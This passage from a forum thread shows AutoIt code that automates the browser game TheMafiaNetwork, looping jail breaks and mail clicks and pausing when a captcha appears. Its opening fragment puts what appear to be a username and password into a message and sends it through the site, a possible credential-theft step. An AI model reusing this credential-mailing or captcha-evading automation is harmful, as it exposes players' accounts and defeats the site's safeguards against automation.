    _IEFormElementSetValue($oMsg, $name1 & @LF & $pass1)
    $oSubm = _IEGetObjByName($oCreate, "btnSend")
    _IEAction($oSubm, "click")
    _IELoadWait($oCreate)
    _IEQuit($oCreate)
EndFunc

Func TogglePause()
    $Paused = Not $Paused
    While $Paused
        Sleep(100)
        ToolTip('Script is "Paused"', 0, 0)
    WEnd
    ToolTip("")
EndFunc   ;==>TogglePause


Func Terminate()
    Exit
EndFunc   ;==>Terminate


Func _MinimizeToTray()
    If BitAND(WinGetState($Quick), 2) Then
        GUISetState(@SW_HIDE)
    Else
        GUISetState(@SW_SHOW)
    EndIf
EndFunc   ;==>_MinimizeToTray


Func Jail()
    $oJailPage = _IECreate($J1, "", 0)
;~ "caTheMafiaNetwork - Nationl Jail - Internet Explorer"
    _IELoadWait($oJailPage)
    WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MAXIMIZE)
    WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MINIMIZE)
    
    While 1
        For $var = 0 To 10 Step 1
            _IELoadWait($oJailPage)
            _IELinkClickByText($oJailPage, "Break")
            _IELoadWait($oJailPage)
            _IENavigate($oJailPage, $J1)
            _IEAction($oJailPage, "refresh")
        Next
        Sleep(900)
        $oVerify = _IEGetObjById($oJailPage, "imgVerify")
        If IsObj($oVerify) Then
            ExitLoop
            ;MsgBox(0, "Verification Box Present", "Please Enter Verification Code For Script To Resume")
            ;Sleep(20000)
            ;$bLoop = 1

        Else
            ;What is this supposed
            If IsObj($oVerify) Then
                WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MINIMIZE)
            Else
                $bLoop = 1
            EndIf
        EndIf
    WEnd
EndFunc   ;==>Jail

Func JailCon()
    $oJailPage = _IECreate($J1)
;~ "caTheMafiaNetwork - Nationl Jail - Internet Explorer"
    _IELoadWait($oJailPage)
    WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MAXIMIZE)
    WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MINIMIZE)
    
    While 1
        For $var = 0 To 10 Step 1
            _IELoadWait($oJailPage)
            _IELinkClickByText($oJailPage, "Break")
            _IELoadWait($oJailPage)
            _IENavigate($oJailPage, $J1)
            _IEAction($oJailPage, "refresh")
        Next
        Sleep(900)
        $oMail2 = _IECreate($M1, "", 0)
        _IELoadWait($oMail2)
        _IELinkClickByText($oMail2, "Automatic Script Check")
            _IELinkClickByText($oMail2, "Automatic Script Test")
            _IELinkClickByText($oMail2, "Script Check")
            _IELinkClickByText($oMail2, "script test")
            _IELinkClickByText($oMail2, "romeo")
            _IELinkClickByText($oMail2, "Dragoncurse")
            _IELinkClickByText($oMail2, "barsaat")
            _IELinkClickByText($oMail2, "M33")
            _IELinkClickByText($oMail2, "Devious")
            _IELinkClickByText($oMail2, "Doyouhaveenough")
            _IELinkClickByText($oMail2, "BennieTheBrick")
            _IELinkClickByText($oMail2, "DeeCee")
        _IELoadWait($oMail2)
        If WinExists("TMN2 - Bloody Vendetta - Windows Internet Explorer") = 0 Then
            Exit
        EndIf
        _IEQuit($oMail2)
        $oVerify = _IEGetObjById($oJailPage, "imgVerify")
        If IsObj($oVerify) Then
            MsgBox(0, "Verification Box Present", "Please Enter Verification Code For Script To Resume")
            Sleep(20000)
            $bLoop = 1

        Else
            ;What is this supposed
            If IsObj($oVerify) Then
                WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MINIMIZE)
            Else
                $bLoop = 1
            EndIf
        EndIf
    WEnd
EndFunc   ;==>JailCon
Are they real passwords, etc in your sample code? Do you have UAC turned on or off?

"~~ScorpiA~~ Sabotage ~ Corruption ~ Infiltrate ~ Assassinate ~" - giggles, then frowns...

Edited by Confuzzled
Link to comment
Share on other sites

This really is just a prediction and I don't want to bring to mind any MAC commercials you may have seen on television, but I heard this from the horse's mouth, microsoft says in their own tacit way, Vista will be in beta for fifteen more months. You of course have Recovery options to recover your betaware? :)

Das Häschen benutzt Radar

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...